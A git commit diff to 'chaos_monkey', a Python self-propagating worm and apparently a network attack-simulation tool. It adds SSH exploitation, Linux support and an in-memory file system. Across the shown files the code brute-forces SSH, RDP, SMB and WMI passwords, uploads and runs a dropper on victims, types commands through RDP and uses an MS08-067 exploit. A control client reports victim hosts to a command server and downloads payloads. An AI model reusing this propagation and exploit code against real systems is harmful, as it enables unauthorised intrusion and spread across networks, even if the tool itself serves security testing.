- support for virtual files (monkeyfs)
- ssh exploitation
- some linux support issues fixed
This commit is contained in:
Barak Hoffer 2015-09-29 17:58:06 +03:00
parent 7697f5fce9
commit 8dc7b38d56
17 changed files with 576 additions and 72 deletions

1
.gitignore vendored
View File

@ -27,7 +27,6 @@ var/
# Usually these files are written by a python script from a template # Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it. # before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest *.manifest
*.spec
# Installer logs # Installer logs
pip-log.txt pip-log.txt

View File

@ -3,29 +3,122 @@ import json
import random import random
import logging import logging
import requests import requests
from config import WormConfiguration import platform
import monkeyfs
from network.info import local_ips
from socket import gethostname, gethostbyname_ex
from config import WormConfiguration, Configuration, GUID
__author__ = 'itamar' __author__ = 'hoffer'
requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
class ControlClient(object): class ControlClient(object):
@staticmethod
def get_control_config():
try:
reply = requests.get("http://%s/orders/%s" % (WormConfiguration.command_server,
"".join([chr(random.randint(0,255)) for _ in range(32)]).encode("base64").strip()))
@staticmethod
def wakeup(parent=None):
for server in WormConfiguration.command_servers:
try:
hostname = gethostname()
if None == parent:
parent = GUID
WormConfiguration.current_server = server
monkey = { 'guid': GUID,
'hostname' : hostname,
'ip_addresses' : local_ips(),
'description' : " ".join(platform.uname()),
'config' : WormConfiguration.as_dict(),
'parent' : parent
}
reply = requests.post("https://%s/api/monkey" % (server,),
data=json.dumps(monkey),
headers={'content-type' : 'application/json'},
verify=False)
break
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
server, exc)
@staticmethod
def keepalive():
try:
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
data=json.dumps({}),
headers={'content-type' : 'application/json'},
verify=False)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return {}
@staticmethod
def send_telemetry(tele_type='general',data=''):
try:
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data}
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
data=json.dumps(telemetry),
headers={'content-type' : 'application/json'},
verify=False)
except Exception, exc: except Exception, exc:
LOG.warn("Error connecting to control server %s: %s", LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.command_server, exc) WormConfiguration.current_server, exc)
return {}
@staticmethod
def load_control_config():
try:
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), verify=False)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return
try: try:
return json.loads(reply._content) WormConfiguration.from_dict(reply.json().get('config'))
except ValueError, exc: except Exception, exc:
LOG.warn("Error parsing JSON reply from control server %s (%s): %s", LOG.warn("Error parsing JSON reply from control server %s (%s): %s",
WormConfiguration.command_server, reply._content, exc) WormConfiguration.current_server, reply._content, exc)
return {}
@staticmethod
def download_monkey_exe(host):
try:
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host.as_dict()),
headers={'content-type' : 'application/json'},
verify=False)
if 200 == reply.status_code:
result_json = reply.json()
filename = result_json.get('filename')
if not filename:
return None
size = result_json.get('size')
dest_file = monkeyfs.virtual_path(filename)
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
return dest_file
else:
download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename),
verify=False)
with monkeyfs.open(dest_file, 'wb') as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
file_obj.write(chunk)
file_obj.flush()
if size == monkeyfs.getsize(dest_file):
return dest_file
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return None

View File

@ -8,11 +8,15 @@ import pprint
import logging import logging
import subprocess import subprocess
from ctypes import c_char_p from ctypes import c_char_p
from win32process import DETACHED_PROCESS
from control import ControlClient from control import ControlClient
from model import MONKEY_CMDLINE from model import MONKEY_CMDLINE
from config import WormConfiguration from config import WormConfiguration
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
else:
DETACHED_PROCESS = 0
__author__ = 'itamar' __author__ = 'itamar'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -21,14 +25,13 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4
class MonkeyDrops(object): class MonkeyDrops(object):
def __init__(self, args): def __init__(self, args):
if 1 < len(args):
LOG.debug("Invalid arguments count for dropper")
raise ValueError("Invalid arguments count for dropper")
if args: if args:
dest_path = os.path.expandvars(args[0]) dest_path = os.path.expandvars(args[0])
else: else:
dest_path = os.path.expandvars(WormConfiguration.dropper_target_path) dest_path = os.path.expandvars(WormConfiguration.dropper_target_path if sys.platform == "win32" \
else WormConfiguration.dropper_target_path_linux)
self._monkey_args = args[1:]
self._config = {'source_path': os.path.abspath(sys.argv[0]), self._config = {'source_path': os.path.abspath(sys.argv[0]),
'destination_path': args[0]} 'destination_path': args[0]}
@ -36,8 +39,6 @@ class MonkeyDrops(object):
def initialize(self): def initialize(self):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
new_config = ControlClient.get_control_config()
def start(self): def start(self):
# we copy/move only in case path is different # we copy/move only in case path is different
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
@ -87,6 +88,9 @@ class MonkeyDrops(object):
monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'], monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'],
} }
if 0 != len(self._monkey_args):
monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args))
monkey_process = subprocess.Popen(monkey_cmdline, shell=True, monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None, stdin=None, stdout=None, stderr=None,
close_fds=True, creationflags=DETACHED_PROCESS) close_fds=True, creationflags=DETACHED_PROCESS)

View File

@ -1,16 +1,20 @@
from abc import ABCMeta, abstractmethod from abc import ABCMeta, abstractmethod
__author__ = 'itamar' __author__ = 'itamar'
class HostExploiter(object): class HostExploiter(object):
__metaclass__ = ABCMeta __metaclass__ = ABCMeta
_target_os_type = []
def is_os_supported(self, host):
return host.os.get('type') in self._target_os_type
@abstractmethod @abstractmethod
def exploit_host(self, host): def exploit_host(self, host, src_path=None):
raise NotImplementedError() raise NotImplementedError()
from win_ms08_067 import Ms08_067_Exploiter from win_ms08_067 import Ms08_067_Exploiter
from wmiexec import WmiExploiter from wmiexec import WmiExploiter
from smbexec import SmbExploiter from smbexec import SmbExploiter
from rdpgrinder import RdpExploiter from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter

View File

@ -13,12 +13,15 @@ from exploit import HostExploiter
from exploit.tools import HTTPTools from exploit.tools import HTTPTools
from model import RDP_CMDLINE_HTTP_BITS from model import RDP_CMDLINE_HTTP_BITS
from model.host import VictimHost from model.host import VictimHost
from network.tools import check_port_tcp
from exploit.tools import get_target_monkey
__author__ = 'hoffer' __author__ = 'hoffer'
KEYS_INTERVAL = 0.1 KEYS_INTERVAL = 0.1
MAX_WAIT_FOR_UPDATE = 120 MAX_WAIT_FOR_UPDATE = 120
KEYS_SENDER_SLEEP = 0.01 KEYS_SENDER_SLEEP = 0.01
DOWNLOAD_TIMEOUT = 60 DOWNLOAD_TIMEOUT = 60
RDP_PORT = 3389
LOG = getLogger(__name__) LOG = getLogger(__name__)
def twisted_log_func(*message, **kw): def twisted_log_func(*message, **kw):
@ -147,7 +150,8 @@ class CMDClientFactory(rdp.ClientFactory):
self._domain = domain self._domain = domain
self._keyboard_layout = "en" self._keyboard_layout = "en"
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter # key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
self._keys = [ScanCodeEvent(91,True,True), self._keys = [SleepEvent(1),
ScanCodeEvent(91,True,True),
ScanCodeEvent(19,True), ScanCodeEvent(19,True),
ScanCodeEvent(19,False), ScanCodeEvent(19,False),
ScanCodeEvent(91,False,True), WaitUpdateEvent()] + str_to_keys("cmd /v") + [WaitUpdateEvent(), ScanCodeEvent(28,True), ScanCodeEvent(91,False,True), WaitUpdateEvent()] + str_to_keys("cmd /v") + [WaitUpdateEvent(), ScanCodeEvent(28,True),
@ -205,16 +209,36 @@ class CMDClientFactory(rdp.ClientFactory):
self.done_event.set() self.done_event.set()
class RdpExploiter(HostExploiter): class RdpExploiter(HostExploiter):
_target_os_type = ['windows']
def __init__(self): def __init__(self):
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type:
return True
if not host.os.get('type'):
is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT)
if is_open:
host.os['type'] = 'windows'
return True
return False
def exploit_host(self, host, src_path, port=3389): def exploit_host(self, host, src_path=None):
global g_reactor global g_reactor
assert isinstance(host, VictimHost) assert isinstance(host, VictimHost)
if not g_reactor.is_alive(): is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT)
g_reactor.daemon = True if not is_open:
g_reactor.start() LOG.info("RDP port is closed on %r, skipping", host)
return False
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
# create server for http download. # create server for http download.
http_path, http_thread = HTTPTools.create_transfer(host, src_path) http_path, http_thread = HTTPTools.create_transfer(host, src_path)
@ -228,6 +252,10 @@ class RdpExploiter(HostExploiter):
passwords.remove(known_password) passwords.remove(known_password)
passwords.insert(0, known_password) passwords.insert(0, known_password)
if not g_reactor.is_alive():
g_reactor.daemon = True
g_reactor.start()
exploited = False exploited = False
for password in passwords: for password in passwords:
try: try:
@ -239,12 +267,13 @@ class RdpExploiter(HostExploiter):
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command) client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
reactor.connectTCP(host.ip_addr, port, client_factory) reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
client_factory.done_event.wait() client_factory.done_event.wait()
if client_factory.success: if client_factory.success:
exploited = True exploited = True
host.learn_credentials(self._config.psexec_user, password)
break break
except Exception, exc: except Exception, exc:

View File

@ -1,17 +1,10 @@
#!/usr/bin/env python
#############################################################################
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
# www.hackingspirits.com
# www.coffeeandsecurity.com
# Email: d3basis.m0hanty @ gmail.com
#############################################################################
import sys import sys
from logging import getLogger from logging import getLogger
from model.host import VictimHost from model.host import VictimHost
from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import SmbTools from exploit.tools import SmbTools, get_target_monkey
from network import SMBFinger
try: try:
from impacket import smb from impacket import smb
@ -32,6 +25,8 @@ except ImportError, exc:
LOG = getLogger(__name__) LOG = getLogger(__name__)
class SmbExploiter(HostExploiter): class SmbExploiter(HostExploiter):
_target_os_type = ['windows']
KNOWN_PROTOCOLS = { KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
@ -41,9 +36,31 @@ class SmbExploiter(HostExploiter):
def __init__(self): def __init__(self):
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
def exploit_host(self, host, src_path): def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type:
return True
if not host.os.get('type'):
is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
smb_finger.get_host_fingerprint(host)
else:
is_nb_open,_ = check_port_tcp(host.ip_addr, 139)
if is_nb_open:
host.os['type'] = 'windows'
return super(HostExploiter, self).is_os_supported(host)
return False
def exploit_host(self, host, src_path=None):
assert isinstance(host, VictimHost) assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
passwords = list(self._config.psexec_passwords[:]) passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user) known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None: if known_password is not None:

View File

@ -0,0 +1,106 @@
import os
import paramiko
import monkeyfs
import logging
from exploit import HostExploiter
from model import MONKEY_ARG
from exploit.tools import get_target_monkey
__author__ = 'hoffer'
LOG = logging.getLogger(__name__)
class SSHExploiter(HostExploiter):
_target_os_type = ['linux', None]
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, src_path=None):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
passwords = list(self._config.ssh_passwords[:])
known_password = host.get_credentials(self._config.ssh_user)
if known_password is not None:
if known_password in passwords:
passwords.remove(known_password)
passwords.insert(0, known_password)
exploited = False
for password in passwords:
try:
ssh.connect(host.ip_addr,
username=self._config.ssh_user,
password=password)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
host, self._config.ssh_user, password)
host.learn_credentials(self._config.ssh_user, password)
exploited = True
break
except Exception, exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host,
self._config.ssh_user, password, exc)
continue
if not exploited:
LOG.debug("Exploiter SSHExploiter is giving up...")
return False
if not host.os.get('type'):
try:
_, stdout, _ = ssh.exec_command('uname -o')
uname_os = stdout.read().lower().strip()
if 'linux' in uname_os:
host.os['type'] = 'linux'
else:
LOG.info("SSH Skipping unknown os: %s", uname_os)
return False
except Exception, exc:
LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc)
return False
if not host.os.get('machine'):
try:
_, stdout, _ = ssh.exec_command('uname -m')
uname_machine = stdout.read().lower().strip()
if '' != uname_machine:
host.os['machine'] = uname_machine
except Exception, exc:
LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc)
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
try:
ftp = ssh.open_sftp()
with monkeyfs.open(src_path) as file_obj:
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path))
ftp.chmod(self._config.dropper_target_path_linux, 0777)
ftp.close()
except Exception, exc:
LOG.debug("Error uploading file into victim %r: (%s)", host, exc)
return False
try:
cmdline = "%s %s&" % (self._config.dropper_target_path_linux, MONKEY_ARG)
ssh.exec_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline)
ssh.close()
return True
except Exception, exc:
LOG.debug("Error running monkey on victim %r: (%s)", host, exc)
return False

View File

@ -6,7 +6,9 @@ import logging
import os.path import os.path
import socket import socket
import urllib import urllib
import monkeyfs
from difflib import get_close_matches from difflib import get_close_matches
from network import local_ips
from transport import HTTPServer from transport import HTTPServer
from impacket.dcerpc.v5 import transport, srvs from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
@ -160,10 +162,10 @@ class WmiTools(object):
class SmbTools(object): class SmbTools(object):
@staticmethod @staticmethod
def copy_file(host, username, password, src_path, dst_path): def copy_file(host, username, password, src_path, dst_path):
assert os.path.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, ) assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, )
config = __import__('config').WormConfiguration config = __import__('config').WormConfiguration
src_file_size = os.stat(src_path).st_size src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password) smb, dialect = SmbTools.new_smb_connection(host, username, password)
if not smb: if not smb:
@ -270,7 +272,7 @@ class SmbTools(object):
pass # file isn't found on remote victim, moving on pass # file isn't found on remote victim, moving on
try: try:
with open(src_path, 'rb') as source_file: with monkeyfs.open(src_path, 'rb') as source_file:
smb.putFile(share_name, remote_path, source_file.read) smb.putFile(share_name, remote_path, source_file.read)
file_uploaded = True file_uploaded = True
@ -352,11 +354,27 @@ class HTTPTools(object):
@staticmethod @staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=4444): def create_transfer(host, src_path, local_ip=None, local_port=4444):
if None == local_ip: if None == local_ip:
local_hostname = socket.gethostname() local_ip = get_close_matches(host.ip_addr, local_ips())[0]
local_ip = get_close_matches(host.ip_addr, socket.gethostbyname_ex(local_hostname)[2])[0]
httpd = HTTPServer(local_ip, local_port, src_path) httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True httpd.daemon = True
httpd.start() httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
def get_target_monkey(host):
from control import ControlClient
if host.monkey_exe:
return host.monkey_exe
if not host.os.get('type'):
return None
cc_download = ControlClient.download_monkey_exe(host)
if host.os.get('machine') and cc_download:
host.monkey_exe = cc_download
return cc_download

View File

@ -14,7 +14,7 @@ from logging import getLogger
from model.host import VictimHost from model.host import VictimHost
from model import DROPPER_CMDLINE, MONKEY_CMDLINE from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import SmbTools from exploit.tools import SmbTools, get_target_monkey
try: try:
from impacket import smb from impacket import smb
@ -163,15 +163,42 @@ class SRVSVC_Exploit(object):
return dce_packet return dce_packet
class Ms08_067_Exploiter(HostExploiter): class Ms08_067_Exploiter(HostExploiter):
_target_os_type = ['windows']
_windows_versions = {'Windows Server 2003 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2,
'Windows Server 2003 R2 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2}
def __init__(self): def __init__(self):
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
def exploit_host(self, host, src_path): def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type and \
host.os.get('version') in self._windows_versions.keys():
return True
if not host.os.get('type') or (host.os.get('type') in self._target_os_type and \
not host.os.get('version')):
is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
if smb_finger.get_host_fingerprint(host):
return host.os.get('type') in self._target_os_type and \
host.os.get('version') in self._windows_versions.keys()
return False
def exploit_host(self, host, src_path=None):
assert isinstance(host, VictimHost) assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2)
exploited = False exploited = False
for _ in range(self._config.ms08_067_exploit_attempts): for _ in range(self._config.ms08_067_exploit_attempts):
exploit = SRVSVC_Exploit(target_addr=host.ip_addr) exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version)
try: try:
sock = exploit.start() sock = exploit.start()

View File

@ -6,18 +6,26 @@ import traceback
from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP
from model.host import VictimHost from model.host import VictimHost
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException, get_target_monkey
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter): class WmiExploiter(HostExploiter):
_target_os_type = ['windows']
def __init__(self): def __init__(self):
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
@WmiTools.dcom_wrap @WmiTools.dcom_wrap
def exploit_host(self, host, src_path): def exploit_host(self, host, src_path=None):
assert isinstance(host, VictimHost) assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
passwords = list(self._config.psexec_passwords[:]) passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user) known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None: if known_password is not None:
@ -89,7 +97,6 @@ class WmiExploiter(HostExploiter):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
success = True success = True
raw_input()
else: else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)

View File

@ -4,10 +4,12 @@ import sys
import logging import logging
import traceback import traceback
import logging.config import logging.config
from config import WormConfiguration from config import WormConfiguration, EXTERNAL_CONFIG_FILE
from model import MONKEY_ARG, DROPPER_ARG from model import MONKEY_ARG, DROPPER_ARG
from dropper import MonkeyDrops from dropper import MonkeyDrops
from monkey import ChaosMonkey from monkey import ChaosMonkey
import getopt
import json
__author__ = 'itamar' __author__ = 'itamar'
@ -36,7 +38,27 @@ def main():
return True return True
monkey_mode = sys.argv[1] monkey_mode = sys.argv[1]
monkey_args = sys.argv[2:]
if not monkey_mode in [MONKEY_ARG, DROPPER_ARG]:
return True
config_file = EXTERNAL_CONFIG_FILE
opts, monkey_args = getopt.getopt(sys.argv[2:], "c:", ["config="])
for op, val in opts:
if op in ("-c", "--config"):
config_file = val
break
if os.path.isfile(config_file):
# using print because config can also change log locations
print "Loading config from %s." % config_file
try:
with open(config_file) as config_fo:
json_dict = json.load(config_fo)
WormConfiguration.from_dict(json_dict)
except ValueError:
print "Error loading config, using default."
try: try:
if MONKEY_ARG == monkey_mode: if MONKEY_ARG == monkey_mode:
@ -71,6 +93,12 @@ def main():
try: try:
monkey.start() monkey.start()
if WormConfiguration.serialize_config:
with open(config_file, 'w') as config_fo:
json_dict = WormConfiguration.as_dict()
json.dump(json_dict, config_fo)
return True return True
finally: finally:
monkey.cleanup() monkey.cleanup()

View File

@ -2,10 +2,12 @@
import sys import sys
import time import time
import logging import logging
import platform
from system_singleton import SystemSingleton from system_singleton import SystemSingleton
from control import ControlClient from control import ControlClient
from config import WormConfiguration from config import WormConfiguration, EXTERNAL_CONFIG_FILE
from network.network_scanner import NetworkScanner from network.network_scanner import NetworkScanner
import getopt
__author__ = 'itamar' __author__ = 'itamar'
@ -26,6 +28,8 @@ class ChaosMonkey(object):
self._exploited_machines = set() self._exploited_machines = set()
self._fail_exploitation_machines = set() self._fail_exploitation_machines = set()
self._singleton = SystemSingleton() self._singleton = SystemSingleton()
self._parent = None
self._args = args
def initialize(self): def initialize(self):
LOG.info("WinWorm is initializing...") LOG.info("WinWorm is initializing...")
@ -33,27 +37,50 @@ class ChaosMonkey(object):
if not self._singleton.try_lock(): if not self._singleton.try_lock():
raise Exception("Another instance of the monkey is already running") raise Exception("Another instance of the monkey is already running")
self._network = NetworkScanner() opts, self._args = getopt.getopt(self._args, "p:", ["parent="])
self._network.initialize() for op, val in opts:
self._keep_running = True if op in ("-p", "--parent"):
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes] self._parent = val
self._dropper_path = sys.argv[0] break
self._keep_running = True
self._network = NetworkScanner()
self._dropper_path = sys.argv[0]
self._os_type = platform.system().lower()
self._machine = platform.machine().lower()
ControlClient.wakeup(self._parent)
ControlClient.load_control_config()
new_config = ControlClient.get_control_config()
def start(self): def start(self):
LOG.info("WinWorm is running...") LOG.info("WinWorm is running...")
for _ in xrange(WormConfiguration.max_iterations): for _ in xrange(WormConfiguration.max_iterations):
new_config = ControlClient.get_control_config() ControlClient.keepalive()
ControlClient.load_control_config()
if not self._keep_running: self._network.initialize()
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]
if not self._keep_running or not WormConfiguration.alive:
break break
machines = self._network.get_victim_machines(WormConfiguration.scanner_class, machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
max_find=WormConfiguration.victims_max_find) max_find=WormConfiguration.victims_max_find)
for machine in machines: for machine in machines:
for finger in self._fingerprint:
LOG.info("Trying to get OS fingerprint from %r with module %s",
machine, finger.__class__.__name__)
finger.get_host_fingerprint(machine)
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
'scanner' : WormConfiguration.scanner_class.__name__})
# skip machines that we've already exploited # skip machines that we've already exploited
if machine in self._exploited_machines: if machine in self._exploited_machines:
LOG.debug("Skipping %r - already exploited", LOG.debug("Skipping %r - already exploited",
@ -66,11 +93,16 @@ class ChaosMonkey(object):
successful_exploiter = None successful_exploiter = None
for exploiter in self._exploiters: for exploiter in self._exploiters:
if not exploiter.is_os_supported(machine):
LOG.info("Skipping exploiter %s host:%r, os is not supported",
exploiter.__class__.__name__, machine)
continue
LOG.info("Trying to exploit %r with exploiter %s...", LOG.info("Trying to exploit %r with exploiter %s...",
machine, exploiter.__class__.__name__) machine, exploiter.__class__.__name__)
try: try:
if exploiter.exploit_host(machine, self._dropper_path): if exploiter.exploit_host(machine):
successful_exploiter = exploiter successful_exploiter = exploiter
break break
else: else:
@ -83,6 +115,8 @@ class ChaosMonkey(object):
if successful_exploiter: if successful_exploiter:
self._exploited_machines.add(machine) self._exploited_machines.add(machine)
ControlClient.send_telemetry('exploit', {'machine': machine.__dict__,
'exploiter': successful_exploiter.__class__.__name__})
LOG.info("Successfully propagated to %s using %s", LOG.info("Successfully propagated to %s using %s",
machine, successful_exploiter.__class__.__name__) machine, successful_exploiter.__class__.__name__)
@ -96,6 +130,7 @@ class ChaosMonkey(object):
else: else:
self._fail_exploitation_machines.add(machine) self._fail_exploitation_machines.add(machine)
time.sleep(WormConfiguration.timeout_between_iterations) time.sleep(WormConfiguration.timeout_between_iterations)
if self._keep_running: if self._keep_running:

53
chaos_monkey/monkeyfs.py Normal file
View File

@ -0,0 +1,53 @@
from io import BytesIO
import os
__author__ = 'hoffer'
MONKEYFS_PREFIX = 'monkeyfs://'
class VirtualFile(BytesIO):
_vfs = {} #virtual File-System
def __init__(self, name, mode = 'r', buffering = None):
if not name.startswith(MONKEYFS_PREFIX):
name = MONKEYFS_PREFIX + name
self.name = name
self._mode = mode
if VirtualFile._vfs.has_key(name):
super(VirtualFile, self).__init__(self._vfs[name])
else:
super(VirtualFile, self).__init__('')
def flush(self):
super(VirtualFile, self).flush()
VirtualFile._vfs[self.name] = self.getvalue()
@staticmethod
def getsize(path):
return len(VirtualFile._vfs[path])
@staticmethod
def isfile(path):
return VirtualFile._vfs.has_key(path)
def getsize(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.getsize(path)
else:
return os.stat(path).st_size
def isfile(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.isfile(path)
else:
return os.path.isfile(path)
def virtual_path(name):
return "%s%s" % (MONKEYFS_PREFIX, name)
def open(name, mode='r', buffering=-1):
#use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
if name.startswith(MONKEYFS_PREFIX):
return VirtualFile(name, mode, buffering)
else:
return open(name, mode=mode, buffering=buffering)

View File

@ -0,0 +1,42 @@
import sys
import socket
import struct
import array
__author__ = 'hoffer'
if sys.platform == "win32":
def local_ips():
local_hostname = socket.gethostname()
return socket.gethostbyname_ex(local_hostname)[2]
else:
import fcntl
def local_ips():
result = []
try:
is_64bits = sys.maxsize > 2**32
struct_size = 40 if is_64bits else 32
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
max_possible = 8 # initial value
while True:
bytes = max_possible * struct_size
names = array.array('B', '\0' * bytes)
outbytes = struct.unpack('iL', fcntl.ioctl(
s.fileno(),
0x8912, # SIOCGIFCONF
struct.pack('iL', bytes, names.buffer_info()[0])
))[0]
if outbytes == bytes:
max_possible *= 2
else:
break
namestr = names.tostring()
for i in range(0, outbytes, struct_size):
addr = socket.inet_ntoa(namestr[i+20:i+24])
if not addr.startswith('127'):
result.append(addr)
#name of interface is (namestr[i:i+16].split('\0', 1)[0]
finally:
return result

View File

@ -4,6 +4,7 @@ import socket
import logging import logging
from network import HostScanner from network import HostScanner
from config import WormConfiguration from config import WormConfiguration
from info import local_ips
__author__ = 'itamar' __author__ = 'itamar'
@ -18,8 +19,7 @@ class NetworkScanner(object):
def initialize(self): def initialize(self):
# get local ip addresses # get local ip addresses
local_hostname = socket.gethostname() self._ip_addresses = local_ips()
self._ip_addresses = socket.gethostbyname_ex(local_hostname)[2]
if not self._ip_addresses: if not self._ip_addresses:
raise Exception("Cannot find local IP address for the machine") raise Exception("Cannot find local IP address for the machine")

View File

@ -0,0 +1,44 @@
import socket
import select
DEFAULT_TIMEOUT = 30
BANNER_READ = 1024
def check_port_tcp(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
try:
sock.connect((ip, port))
except socket.error:
return (False, None)
banner = None
try:
if get_banner:
read_ready, _, _ = select.select([sock], [], [], timeout)
if len(read_ready) > 0:
